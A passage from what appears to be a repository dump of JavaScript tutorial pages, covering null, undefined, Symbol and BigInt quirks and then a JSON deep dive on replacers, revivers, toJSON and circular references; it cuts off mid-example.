undefined) {\n      return 'No value'\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Forgetting Symbol properties are hidden\">\n    Symbol-keyed properties don't show up in normal iteration:\n    \n    ```javascript\n    const secret = Symbol('secret')\n    const obj = {\n      visible: 'hello',\n      [secret]: 'hidden'\n    }\n    \n    // ❌ Symbol properties are invisible here\n    Object.keys(obj)       // ['visible']\n    JSON.stringify(obj)    // '{\"visible\":\"hello\"}'\n    for (const key in obj) // Only 'visible'\n    \n    // ✓ Use these to access Symbol properties\n    Object.getOwnPropertySymbols(obj)  // [Symbol(secret)]\n    Reflect.ownKeys(obj)               // ['visible', Symbol(secret)]\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember about JavaScript type nuances:**\n\n1. **undefined means uninitialized, null means intentionally empty** — JavaScript returns `undefined` automatically; use `null` to explicitly indicate \"no value\"\n\n2. **typeof null === 'object' is a bug** — It's a historical quirk that can't be fixed. Use `value === null` for null checks\n\n3. **Use ?? instead of || for defaults** — Nullish coalescing (`??`) only triggers on `null`/`undefined`, preserving valid values like `0` and `''`\n\n4. **Optional chaining (?.) prevents TypeError** — It short-circuits to `undefined` instead of throwing when accessing properties on null/undefined\n\n5. **Symbols are guaranteed unique** — Every `Symbol()` call creates a new unique value, solving property name collision problems\n\n6. **Well-known symbols customize object behavior** — `Symbol.iterator`, `Symbol.hasInstance`, and others let you hook into JavaScript's built-in operations\n\n7. **instanceof checks the prototype chain** — It tests if a constructor's prototype exists in an object's chain, not the object's type\n\n8. **BigInt handles integers beyond 2^53** — Use the `n` suffix or `BigInt()` for numbers larger than `Number.MAX_SAFE_INTEGER`\n\n9. **BigInt and Number don't mix** — Convert explicitly with `BigInt()` or `Number()` before combining them\n\n10. **Use == null to check for both null and undefined** — This is the one case where loose equality is preferred\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What's the difference between null and undefined?\">\n    **Answer:**\n    \n    `undefined` means a variable exists but hasn't been assigned a value. JavaScript uses it automatically for uninitialized variables, missing object properties, and functions without return statements.\n    \n    `null` is an explicit assignment meaning \"intentionally empty\" or \"no value.\" Developers use it to indicate that a variable should have no value.\n    \n    ```javascript\n    let x          // undefined (uninitialized)\n    let y = null   // null (intentionally empty)\n    \n    typeof x       // 'undefined'\n    typeof y       // 'object' (bug!)\n    \n    x == y         // true (loose equality)\n    x === y        // false (strict equality)\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 2: What's the output of these expressions?\">\n    ```javascript\n    0 || 'fallback'\n    0 ?? 'fallback'\n    '' || 'fallback'\n    '' ?? 'fallback'\n    ```\n    \n    **Answer:**\n    \n    ```javascript\n    0 || 'fallback'   // 'fallback' — 0 is falsy\n    0 ?? 'fallback'   // 0 — 0 is not nullish\n    '' || 'fallback'  // 'fallback' — '' is falsy\n    '' ?? 'fallback'  // '' — '' is not nullish\n    ```\n    \n    `||` triggers on any falsy value (`false`, `0`, `''`, `null`, `undefined`, `NaN`).\n    `??` only triggers on `null` or `undefined`.\n  </Accordion>\n  \n  <Accordion title=\"Question 3: Why does typeof null return 'object'?\">\n    **Answer:**\n    \n    It's a bug from the first version of JavaScript in 1995. In the original implementation, values were stored with a type tag. Objects had type tag `0`. `null` was represented as the NULL pointer (`0x00`), which also had type tag `0`. So `typeof null` returned `'object'`.\n    \n    This bug can never be fixed because it would break too much existing code. To check for `null`, use `value === null` instead.\n  </Accordion>\n  \n  <Accordion title=\"Question 4: How would you check if a value is null OR undefined in one condition?\">\n    **Answer:**\n    \n    Use loose equality with `null`:\n    \n    ```javascript\n    // This catches both null and undefined\n    if (value == null) {\n      console.log('No value')\n    }\n    \n    // This is equivalent but more verbose\n    if (value === null || value === undefined) {\n      console.log('No value')\n    }\n    ```\n    \n    Loose equality (`==`) treats `null` and `undefined` as equal to each other (and nothing else), making it perfect for this use case.\n  </Accordion>\n  \n  <Accordion title=\"Question 5: What's the difference between Symbol('id') and Symbol.for('id')?\">\n    **Answer:**\n    \n    `Symbol('id')` creates a new unique symbol every time. Two calls with the same description still produce different symbols:\n    \n    ```javascript\n    Symbol('id') === Symbol('id')  // false\n    ```\n    \n    `Symbol.for('id')` creates a symbol in the global registry. Subsequent calls with the same key return the same symbol:\n    \n    ```javascript\n    Symbol.for('id') === Symbol.for('id')  // true\n    ```\n    \n    Use `Symbol()` for private, local symbols. Use `Symbol.for()` when you need to share a symbol across different parts of your code or even different iframes.\n  </Accordion>\n  \n  <Accordion title=\"Question 6: Why can't you do 10n + 5 in JavaScript?\">\n    **Answer:**\n    \n    JavaScript doesn't allow mixing BigInt and Number in arithmetic operations. This is a deliberate design choice to prevent accidental precision loss:\n    \n    ```javascript\n    10n + 5  // TypeError: Cannot mix BigInt and other types\n    ```\n    \n    To fix it, convert to the same type first:\n    \n    ```javascript\n    10n + BigInt(5)  // 15n\n    Number(10n) + 5  // 15\n    ```\n    \n    Be careful with `Number()` conversion. For very large BigInt values, you'll lose precision because Number can only safely represent integers up to 2^53 - 1.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"Why does typeof null return 'object' in JavaScript?\">\n    This is a well-known bug dating back to the original JavaScript implementation in 1995. Values were stored with type tags, and `null` used the same tag (`0`) as objects. A TC39 proposal to fix this was rejected because it would have broken too many existing websites. Use `value === null` to check for null instead of `typeof`.\n  </Accordion>\n\n  <Accordion title=\"What is the difference between == null and === null?\">\n    Using `== null` (loose equality) checks for both `null` and `undefined` in one condition — this is because the ECMAScript specification defines `null == undefined` as `true`. Using `=== null` (strict equality) only matches `null`. Most style guides recommend `== null` as the one acceptable use of loose equality.\n  </Accordion>\n\n  <Accordion title=\"When should I use ?? instead of || for default values?\">\n    Use `??` (nullish coalescing) when `0`, `\"\"`, or `false` are valid values you want to preserve. The `||` operator replaces any falsy value, while `??` only replaces `null` and `undefined`. For example, `userCount ?? 10` keeps `0` as a valid count, whereas `userCount || 10` would replace it with `10`.\n  </Accordion>\n\n  <Accordion title=\"What are JavaScript Symbols used for?\">\n    Symbols create guaranteed unique property keys that prevent name collisions between different parts of a codebase. They are also used as \"well-known symbols\" (like `Symbol.iterator` and `Symbol.hasInstance`) to customize built-in JavaScript behavior. MDN documents 13 well-known symbols in the current specification.\n  </Accordion>\n\n  <Accordion title=\"Can BigInt and Number be mixed in calculations?\">\n    No. JavaScript throws a `TypeError` if you try to combine BigInt and Number in arithmetic operations like `10n + 5`. This is a deliberate design choice to prevent accidental precision loss. You must explicitly convert using `BigInt(5)` or `Number(10n)` before combining them.\n  </Accordion>\n\n  <Accordion title=\"How do I safely check for null or undefined?\">\n    The recommended approach is to use `value == null`, which catches both `null` and `undefined` thanks to JavaScript's loose equality rules. Alternatively, use `value ?? 'default'` with nullish coalescing to provide a fallback value. For property access, use optional chaining (`obj?.prop`) to avoid `TypeError` on null or undefined objects.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Primitive Types\" icon=\"cube\" href=\"/concepts/primitive-types\">\n    The foundation for understanding JavaScript's seven primitive types\n  </Card>\n  <Card title=\"Type Coercion\" icon=\"shuffle\" href=\"/concepts/type-coercion\">\n    How JavaScript converts between types automatically\n  </Card>\n  <Card title=\"Equality Operators\" icon=\"equals\" href=\"/concepts/equality-operators\">\n    The difference between == and === and when to use each\n  </Card>\n  <Card title=\"Temporal Dead Zone\" icon=\"clock\" href=\"/beyond/concepts/temporal-dead-zone\">\n    Why typeof throws for let/const before declaration\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"null — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/null\">\n    Official documentation for the null primitive value\n  </Card>\n  <Card title=\"undefined — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined\">\n    Reference for the undefined global property\n  </Card>\n  <Card title=\"typeof — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof\">\n    Complete reference for the typeof operator and its return values\n  </Card>\n  <Card title=\"Nullish Coalescing (??) — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Nullish_coalescing\">\n    Documentation for the nullish coalescing operator\n  </Card>\n  <Card title=\"Optional Chaining (?.) — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Optional_chaining\">\n    Reference for safe property access with optional chaining\n  </Card>\n  <Card title=\"Symbol — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol\">\n    Complete guide to the Symbol primitive and well-known symbols\n  </Card>\n  <Card title=\"BigInt — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt\">\n    Documentation for arbitrary-precision integers in JavaScript\n  </Card>\n  <Card title=\"instanceof — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/instanceof\">\n    Reference for the instanceof operator and prototype chain checking\n  </Card>\n</CardGroup>\n\n---\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"JavaScript Data Types — javascript.info\" icon=\"newspaper\" href=\"https://javascript.info/types\">\n    Comprehensive coverage of all JavaScript types including null, undefined, and Symbol. Includes interactive exercises to test understanding.\n  </Card>\n  <Card title=\"The History of typeof null — Dr. Axel Rauschmayer\" icon=\"newspaper\" href=\"https://2ality.com/2013/10/typeof-null.html\">\n    Deep dive into why typeof null returns 'object'. Explains the original JavaScript implementation and why this bug can never be fixed.\n  </Card>\n  <Card title=\"ES2020 Nullish Coalescing and Optional Chaining — V8 Blog\" icon=\"newspaper\" href=\"https://v8.dev/features/nullish-coalescing\">\n    Official V8 blog explaining the rationale behind ?? and ?. operators. Includes performance considerations and edge cases.\n  </Card>\n  <Card title=\"JavaScript Symbols — CSS-Tricks\" icon=\"newspaper\" href=\"https://css-tricks.com/understanding-javascript-symbols/\">\n    Practical introduction to Symbols with real-world use cases. Great for understanding when and why you'd actually use Symbols in production.\n  </Card>\n  <Card title=\"BigInt: Arbitrary Precision Integers — javascript.info\" icon=\"newspaper\" href=\"https://javascript.info/bigint\">\n    Clear tutorial on BigInt covering creation, operations, and common pitfalls. Includes comparison with regular numbers and conversion gotchas.\n  </Card>\n</CardGroup>\n\n---\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"JavaScript Symbols in 100 Seconds — Fireship\" icon=\"video\" href=\"https://www.youtube.com/watch?v=XTHuXLJlJSQ\">\n    Quick, entertaining overview of what Symbols are and why they exist. Perfect starting point before diving deeper.\n  </Card>\n  <Card title=\"null vs undefined — Web Dev Simplified\" icon=\"video\" href=\"https://www.youtube.com/watch?v=qTGbWfEfJBw\">\n    Beginner-friendly explanation of the differences between null and undefined. Covers when JavaScript uses each and best practices.\n  </Card>\n  <Card title=\"Optional Chaining and Nullish Coalescing — Fireship\" icon=\"video\" href=\"https://www.youtube.com/watch?v=v2tJ3nzXh8I\">\n    Fast-paced tutorial on ?. and ?? operators. Shows practical patterns and how they solve real problems in modern JavaScript.\n  </Card>\n  <Card title=\"JavaScript typeof Operator — Programming with Mosh\" icon=\"video\" href=\"https://www.youtube.com/watch?v=FSs_JYwnAdI\">\n    Clear walkthrough of typeof behavior including quirks and best practices. Good for understanding type checking in JavaScript.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/beyond/concepts/json-deep-dive.mdx",
    "content": "---\ntitle: \"JSON Deep Dive in JavaScript\"\nsidebarTitle: \"JSON: Beyond Parse and Stringify\"\ndescription: \"Learn advanced JSON in JavaScript. Understand JSON.stringify() replacers, JSON.parse() revivers, circular reference handling, and custom toJSON methods.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Data Handling\"\n\"article:tag\": \"json stringify parse, json replacer reviver, circular references, tojson method, serialization\"\n---\n\nHow do you filter sensitive data when sending objects to an API? How do you revive Date objects from a JSON string? What happens when you try to stringify an object with circular references?\n\n```javascript\n// Filter sensitive data during serialization\nconst user = { name: 'Alice', password: 'secret123', role: 'admin' }\n\nconst safeJSON = JSON.stringify(user, (key, value) => {\n  if (key === 'password') return undefined  // Excluded from output\n  return value\n})\n\nconsole.log(safeJSON)  // '{\"name\":\"Alice\",\"role\":\"admin\"}'\n```\n\nThese are everyday challenges when working with **[JSON](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON)** in JavaScript. While `JSON.parse()` and `JSON.stringify()` seem simple, they have powerful features most developers never discover.\n\n<Info>\n**What you'll learn in this guide:**\n- How replacer functions and arrays work in `JSON.stringify()`\n- How reviver functions transform data during `JSON.parse()`\n- The custom `toJSON()` method for controlling serialization\n- Why circular references throw errors and how to handle them\n- Strategies for serializing Dates, Maps, Sets, and BigInt\n- The `space` parameter for pretty-printing JSON\n- Common pitfalls and edge cases to avoid\n</Info>\n\n<Warning>\n**Prerequisites:** This guide assumes you understand basic JavaScript objects and functions. You should be comfortable with [Object Methods](/beyond/concepts/object-methods) and have used `JSON.parse()` and `JSON.stringify()` before.\n</Warning>\n\n---\n\n## What is JSON?\n\n**JSON** (JavaScript Object Notation) is a lightweight text format for storing and exchanging data. Originally specified by Douglas Crockford and formalized in [ECMA-404](https://ecma-international.org/publications-and-standards/standards/ecma-404/) and [RFC 8259](https://datatracker.ietf.org/doc/html/rfc8259), JSON is language-independent but derived from JavaScript syntax. JSON has become the standard format for APIs, configuration files, and data storage across the web.\n\n```javascript\n// JSON is just text that represents data\nconst jsonString = '{\"name\":\"Alice\",\"age\":30,\"isAdmin\":true}'\n\n// Parse converts JSON text → JavaScript value\nconst user = JSON.parse(jsonString)\nconsole.log(user.name)  // \"Alice\"\n\n// Stringify converts JavaScript value → JSON text\nconst backToJSON = JSON.stringify(user)\nconsole.log(backToJSON)  // '{\"name\":\"Alice\",\"age\":30,\"isAdmin\":true}'\n```\n\n<Tip>\n**JSON vs JavaScript Objects:** JSON syntax is a strict subset of JavaScript. As [MDN documents](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON), all JSON is valid JavaScript, but not all JavaScript objects can be represented as JSON. Functions, `undefined`, Symbols, and circular references don't have JSON equivalents.\n</Tip>\n\n---\n\n## The Post Office Analogy\n\nThink of `JSON.stringify()` and `JSON.parse()` like sending a package through the post office:\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                     JSON: THE DATA POST OFFICE                           │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   SENDING (stringify)                  RECEIVING (parse)                 │\n│   ──────────────────                   ─────────────────                 │\n│                                                                          │\n│   ┌──────────────┐                     ┌──────────────┐                  │\n│   │ JS Object    │                     │ JSON String  │                  │\n│   │ { name: ... }│ ───────────────────►│ '{\"name\":..}'│                  │\n│   └──────────────┘   JSON.stringify()  └──────────────┘                  │\n│                                                                          │\n│   • Package your data                  • Receive the package             │\n│   • Choose what to include (replacer)  • Transform contents (reviver)    │\n│   • Format it nicely (space)           • Unpack to JS objects            │\n│                                                                          │\n│   Some items can't be shipped:                                           │\n│   • Functions (no delivery)                                              │\n│   • undefined (vanishes)                                                 │\n│   • Circular references (rejected)                                       │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\nJust like a post office has rules about what you can ship, JSON has rules about what can be serialized. And just like you might want to inspect or modify packages, replacers and revivers let you transform data during the journey.\n\n---\n\n## JSON.stringify() in Depth\n\nThe `JSON.stringify()` method has three parameters, but most developers only use the first:\n\n```javascript\nJSON.stringify(value)\nJSON.stringify(value, replacer)\nJSON.stringify(value, replacer, space)\n```\n\nLet's explore each parameter and unlock the full power of serialization.\n\n### Basic Serialization\n\n```javascript\n// Objects\nJSON.stringify({ a: 1, b: 2 })           // '{\"a\":1,\"b\":2}'\n\n// Arrays\nJSON.stringify([1, 2, 3])                 // '[1,2,3]'\n\n// Primitives\nJSON.stringify('hello')                   // '\"hello\"'\nJSON.stringify(42)                        // '42'\nJSON.stringify(true)                      // 'true'\nJSON.stringify(null)                      // 'null'\n```\n\n### What Gets Lost in Serialization\n\nNot everything survives the stringify process:\n\n```javascript\nconst obj = {\n  name: 'Alice',\n  greet: function() { return 'Hi!' },  // Functions: OMITTED\n  age: undefined,                       // undefined: OMITTED\n  id: Symbol('id'),                     // Symbols: OMITTED\n  count: NaN,                           // NaN: becomes null\n  infinity: Infinity,                   // Infinity: becomes null\n  nothing: null                         // null: preserved\n}\n\nconsole.log(JSON.stringify(obj))\n// '{\"name\":\"Alice\",\"count\":null,\"infinity\":null,\"nothing\":null}'\n```\n\n<Warning>\n**Lost in Translation:** Functions, `undefined`, and Symbol values are silently omitted from objects. In arrays, they become `null`. This can cause subtle bugs if you're not careful!\n</Warning>\n\n```javascript\n// In arrays, these values become null instead of being omitted\nconst arr = [1, undefined, function() {}, Symbol('x'), 2]\nJSON.stringify(arr)  // '[1,null,null,null,2]'\n```\n\n---\n\n## The Replacer Parameter\n\nThe second parameter to `JSON.stringify()` controls what gets included in the output. It can be either a function or an array.\n\n### Replacer as a Function\n\nA replacer function is called for every key-value pair in the object:\n\n```javascript\nfunction replacer(key, value) {\n  // 'this' is the object containing the current property\n  // 'key' is the property name (or index for arrays)\n  // 'value' is the property value\n  // Return the value to include, or undefined to exclude\n}\n```\n\n```javascript\nconst data = {\n  name: 'Alice',\n  password: 'secret123',\n  email: 'alice@example.com',\n  age: 30\n}\n\n// Filter out sensitive data\nconst safeJSON = JSON.stringify(data, (key, value) => {\n  if (key === 'password') return undefined  // Exclude\n  if (key === 'email') return '***hidden***' // Transform\n  return value  // Keep everything else\n})\n\nconsole.log(safeJSON)\n// '{\"name\":\"Alice\",\"email\":\"***hidden***\",\"age\":30}'\n```\n\n### The Initial Call\n\nThe replacer is called first with an empty string key and the entire object as the value:\n\n```javascript\nJSON.stringify({ a: 1 }, (key, value) => {\n  console.log(`key: \"${key}\", value:`, value)\n  return value\n})\n\n// Output:\n// key: \"\", value: { a: 1 }     ← Initial call (root object)\n// key: \"a\", value: 1           ← Property 'a'\n```\n\nThis lets you transform or replace the entire object:\n\n```javascript\n// Wrap the entire output\nJSON.stringify({ x: 1 }, (key, value) => {\n  if (key === '') {\n    return { wrapper: value, timestamp: Date.now() }\n  }\n  return value\n})\n// '{\"wrapper\":{\"x\":1},\"timestamp\":1704067200000}'\n```\n\n### Replacer as an Array\n\nPass an array of strings to include only specific properties:\n\n```javascript\nconst user = {\n  id: 1,\n  name: 'Alice',\n  email: 'alice@example.com',\n  password: 'secret',\n  role: 'admin',\n  createdAt: '2024-01-01'\n}\n\n// Only include these properties\nJSON.stringify(user, ['id', 'name', 'email'])\n// '{\"id\":1,\"name\":\"Alice\",\"email\":\"alice@example.com\"}'\n```\n\n<Tip>\n**Array Replacer Limitation:** The array replacer only works for object properties, not nested objects. For deep filtering, use a replacer function.\n</Tip>\n\n---\n\n## The Space Parameter\n\nThe third parameter adds whitespace for readability:\n\n```javascript\nconst data = { name: 'Alice', address: { city: 'NYC', zip: '10001' } }\n\n// No formatting (default)\nJSON.stringify(data)\n// '{\"name\":\"Alice\",\"address\":{\"city\":\"NYC\",\"zip\":\"10001\"}}'\n\n// With 2-space indentation\nJSON.stringify(data, null, 2)\n/*\n{\n  \"name\": \"Alice\",\n  \"address\": {\n    \"city\": \"NYC\",\n    \"zip\": \"10001\"\n  }\n}\n*/\n\n// With tab indentation\nJSON.stringify(data, null, '\\t')\n/*\n{\n\t\"name\": \"Alice\",\n\t\"address\": {\n\t\t\"city\": \"NYC\",\n\t\t\"zip\": \"10001\"\n\t}\n}\n*/\n```\n\nThe space parameter can be:\n- A number (0-10): Number of spaces for indentation\n- A string (max 10 chars): The string to use for indentation\n\n```javascript\n// Custom indentation string\nJSON.stringify({ a: 1, b: 2 }, null, '→ ')\n/*\n{\n→ \"a\": 1,\n→ \"b\": 2\n}\n*/\n```\n\n---\n\n## JSON.parse() in Depth\n\nThe `JSON.parse()` method converts a JSON string back into a JavaScript value:\n\n```javascript\nJSON.parse(text)\nJSON.parse(text, reviver)\n```\n\n### Basic Parsing\n\n```javascript\nJSON.parse('{\"name\":\"Alice\",\"age\":30}')  // { name: 'Alice', age: 30 }\nJSON.parse('[1, 2, 3]')                   // [1, 2, 3]\nJSON.parse('\"hello\"')                     // 'hello'\nJSON.parse('42')                          // 42\nJSON.parse('true')                        // true\nJSON.parse('null')                        // null\n```\n\n### Invalid JSON Throws Errors\n\n```javascript\n// Missing quotes around keys (valid JS, invalid JSON)\nJSON.parse('{name: \"Alice\"}')  // SyntaxError\n\n// Single quotes (valid JS, invalid JSON)\nJSON.parse(\"{'name': 'Alice'}\")  // SyntaxError\n\n// Trailing comma (valid JS, invalid JSON)\nJSON.parse('{\"a\": 1,}')  // SyntaxError\n\n// Comments (not allowed in JSON)\nJSON.parse('{\"a\": 1 /* comment */}')  // SyntaxError\n```\n\n<Warning>\n**JSON is Strict:** Unlike JavaScript object literals, JSON requires double quotes around property names and string values. No trailing commas, no comments, no single quotes.\n</Warning>\n\n---\n\n## The Reviver Parameter\n\nThe reviver function transforms values during parsing, working from the innermost values outward:\n\n```javascript\nfunction reviver(key, value) {\n  // 'this' is the object containing the current property\n  // 'key' is the property name\n  // 'value' is the already-parsed value\n  // Return the transformed value, or undefined to delete\n}\n```\n\n### Reviving Dates\n\nDates are a classic use case for revivers. JSON has no Date type, so dates become strings:\n\n```javascript\nconst json = '{\"name\":\"Alice\",\"createdAt\":\"2024-01-15T10:30:00.000Z\"}'\n\n// Without reviver: date is just a string\nconst obj1 = JSON.parse(json)\nconsole.log(obj1.createdAt)            // \"2024-01-15T10:30:00.000Z\" (string)\nconsole.log(obj1.createdAt.getTime())  // TypeError: not a function\n\n// With reviver: date is a Date object\nconst obj2 = JSON.parse(json, (key, value) => {\n  // Check if value looks like an ISO date string\n  if (typeof value === 'string' && /^\\d{4}-\\d{2}-\\d{2}T/.test(value)) {\n    return new Date(value)\n  }\n  return value\n})\n\nconsole.log(obj2.createdAt)            // Date object\nconsole.log(obj2.createdAt.getTime())  // 1705315800000\n```\n\n### Processing Order\n\nThe reviver processes values from innermost to outermost:\n\n```javascript\nJSON.parse('{\"a\":{\"b\":1},\"c\":2}', (key, value) => {\n  console.log(`key: \"${key}\", value:`, value)\n  return value\n})\n\n// Output (note the order):\n// key: \"b\", value: 1        ← Innermost first\n// key: \"a\", value: { b: 1 } ← Then containing object\n// key: \"c\", value: 2        ← Sibling\n// key: \"\", value: {...}     ← Root object last\n```\n\n### Filtering During Parse\n\nReturn `undefined` from a reviver to delete a property:\n\n```javascript\nconst json = '{\"name\":\"Alice\",\"__internal\":true,\"id\":1}'\n\nconst cleaned = JSON.parse(json, (key, value) => {\n  // Remove any properties starting with __\n  if (key.startsWith('__')) return undefined\n  return value\n})\n\nconsole.log(cleaned)  // { name: 'Alice', id: 1 }\n```\n\n---\n\n## Custom toJSON() Methods\n\nWhen `JSON.stringify()` encounters an object with a `toJSON()` method, it calls that method and uses its return value instead:\n\n```javascript\nconst user = {\n  name: 'Alice',\n  password: 'secret123',\n  toJSON() {\n    // Return what should be serialized\n    return { name: this.name }  // Password excluded\n  }\n}\n\nJSON.stringify(user)  // '{\"name\":\"Alice\"}'\n```\n\n### Built-in toJSON()\n\nSome built-in objects already have `toJSON()` methods:\n\n```javascript\n// Date has toJSON() that returns ISO string\nconst date = new Date('2024-01-15T10:30:00Z')\nJSON.stringify(date)  // '\"2024-01-15T10:30:00.000Z\"'\nJSON.stringify({ created: date })  // '{\"created\":\"2024-01-15T10:30:00.000Z\"}'\n```\n\n### toJSON with Classes\n\n```javascript\nclass User {\n  constructor(name, email, password) {\n    this.name = name\n    this.email = email\n    this.password = password\n    this.createdAt = new Date()\n  }\n\n  toJSON() {\n    return {\n      name: this.name,\n      email: this.email,\n      // Exclude password\n      // Convert Date to ISO string explicitly\n      createdAt: this.createdAt.toISOString()\n    }\n  }\n}\n\nconst user = new User('Alice', 'alice@example.com', 'secret')\nJSON.stringify(user)\n// '{\"name\":\"Alice\",\"email\":\"alice@example.com\",\"createdAt\":\"2024-01-15T...\"}'\n```\n\n### toJSON Receives the Key\n\nThe `toJSON()` method receives the property key as an argument:\n\n```javascript\nconst obj = {\n  toJSON(key) {\n    return key ? `Nested under \"${key}\"` : 'Root level'\n  }\n}\n\nJSON.stringify(obj)           // '\"Root level\"'\nJSON.stringify({ data: obj }) // '{\"data\":\"Nested under \\\\\"data\\\\\"\"}'\nJSON.stringify([obj])         // '[\"Nested under \\\\\"0\\\\\"\"]'\n```\n\n---\n\n## Handling Circular References\n\nCircular references occur when an object references itself, directly or indirectly:\n\n```javascript\nconst obj = { name: 'Alice' }\nobj.self = obj  // Circular reference!\n\nJSON.stringify(obj)  // TypeError: Converting circular structure to JSON\n```\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                        CIRCULAR REFERENCE                                │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│    const obj = { name: 'Alice' }                                         │\n│    obj.self = obj                                                        │\n│                                                                          │\n│    ┌──────────────────┐                                                  │\n│    │ obj              │                                                  │\n│    │                  │                                                  │\n│    │  name: 'Alice'   │                                                  │\n│    │  self: ─────────────┐                                               │\n│    │                  │  │                                               │\n│    └──────────────────┘  │                                               │\n│           ▲              │                                               │\n│           └──────────────┘  (points back to itself)                      │\n│                                                                          │\n│    JSON can't represent this - it would be infinitely long!              │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n### Detecting Circular References\n\nUse a replacer function with a WeakSet to track seen objects:\n\n```javascript\nfunction safeStringify(obj) {\n  const seen = new WeakSet()\n  \n  return JSON.stringify(obj, (key, value) => {\n    // Only check objects (not primitives)\n    if (typeof value === 'object' && value !== null) {\n      if (seen.has(value)) {\n        return '[Circular Reference]'  // Or return undefined to omit\n      }\n      seen.add(value)\n    }\n    return value\n  })\n}\n\nconst obj = { name: 'Alice' }\nobj.self = obj\n\nconsole.log(safeStringify(obj))\n// '{\"name\":\"Alice\",\"self\":\"[Circular Reference]\"}'\n```\n\n### Real-World Example: DOM Nodes\n\nDOM elements often have circular references through parent/child relationships:\n\n```javascript\n// In a browser environment:\n// const div = document.createElement('div')\n// JSON.stringify(div)  // TypeError: circular structure\n\n// Solution: Extract only the data you need\nfunction serializeDOMNode(node) {\n  return JSON.stringify({\n    tagName: node.tagName,\n    id: node.id,\n    className: node.className,\n    childCount: node.children.length\n  })\n}\n```\n\n---\n\n## Serializing Special Types\n\n### Dates\n\n```javascript\n// Dates serialize as ISO strings automatically\nconst event = { name: 'Meeting', date: new Date('2024-06-15') }\nconst json = JSON.stringify(event)\n// '{\"name\":\"Meeting\",\"date\":\"2024-06-15T00:00:00.000Z\"}'\n\n// Revive them back to Date objects\nconst parsed = JSON.parse(json, (key, value) => {\n  if (key === 'date') return new Date(value)\n  return value\n})\n```\n\n### Maps and Sets\n\nMaps and Sets serialize as empty objects by default:\n\n```javascript\nconst map = new Map([['a', 1], ['b', 2]])\nJSON.stringify(map)  // '{}'  - Not what we want!\n\nconst set = new Set([1, 2, 3])\nJSON.stringify(set)  // '{}'  - Also empty!\n```\n\n**Solution:** Convert to arrays:\n\n```javascript\n// Custom replacer for Map and Set\nfunction replacer(key, value) {\n  if (value instanceof Map) {\n    return {\n      __type: 'Map',\n      entries: Array.from(value.entries())\n    }\n  }\n  if (value instanceof Set) {\n    return {\n      __type: 'Set',\n      values: Array.from(value)\n    }\n  }\n  return value\n}\n\n// Custom reviver\nfunction reviver(key, value) {\n  if (value && value.__type === 'Map') {\n    return new Map(value.entries)\n  }\n  if (value && value.__type === 'Set') {\n    return new Set(value.values)\n  }\n  return value\n}\n\n// Usage\nconst data = {\n  users: new Map([['alice', { age: 30 }], ['bob', { age: 25 }]]),\n  tags: new Set(['javascript', 'tutorial'])\n}\n\nconst json = JSON.stringify(data, replacer, 2)\nconsole.log(json)\n/*\n{\n  \"users\": {\n    \"__type\": \"Map\",\n    \"entries\": [[\"alice\", {\"age\": 30}], [\"bob\", {\"age\": 25}]]\n  },\n  \"tags\": {\n    \"__type\": \"Set\",\n    \"values\": [\"javascript\", \"tutorial\"]\n  }\n}\n*/\n\nconst restored = JSON.parse(json, reviver)\nconsole.log(restored.users instanceof Map)  // true\nconsole.log(restored.tags instanceof Set)   // true\n```\n\n### BigInt\n\nBigInt values throw an error by default:\n\n```javascript\nconst data = { bigNumber: 12345678901234567890n }\nJSON.stringify(data)  // TypeError: Do not know how to serialize a BigInt\n```\n\n**Solution:** Use `toJSON()` on BigInt prototype (with caution) or a replacer:\n\n```javascript\n// Option 1: Replacer function\nfunction bigIntReplacer(key, value) {\n  if (typeof value === 'bigint') {\n    return { __type: 'BigInt', value: value.toString() }\n  }\n  return value\n}\n\nfunction bigIntReviver(key, value) {\n  if (value && value.__type === 'BigInt') {\n    return BigInt(value.value)\n  }\n  return value\n}\n\nconst data = { id: 9007199254740993n }  // Too big for Number\nconst json = JSON.stringify(data, bigIntReplacer)\n// '{\"id\":{\"__type\":\"BigInt\",\"value\":\"9007199254740993\"}}'\n\nconst restored = JSON.parse(json, bigIntReviver)\nconsole.log(restored.id)  // 9007199254740993n\n```\n\n---\n\n## Common Patterns and Use Cases\n\n### Deep Clone (Simple Objects)\n\n```javascript\n// Quick deep clone (only for JSON-safe objects)\nconst original = { a: 1, b: { c: 2 } }\nconst 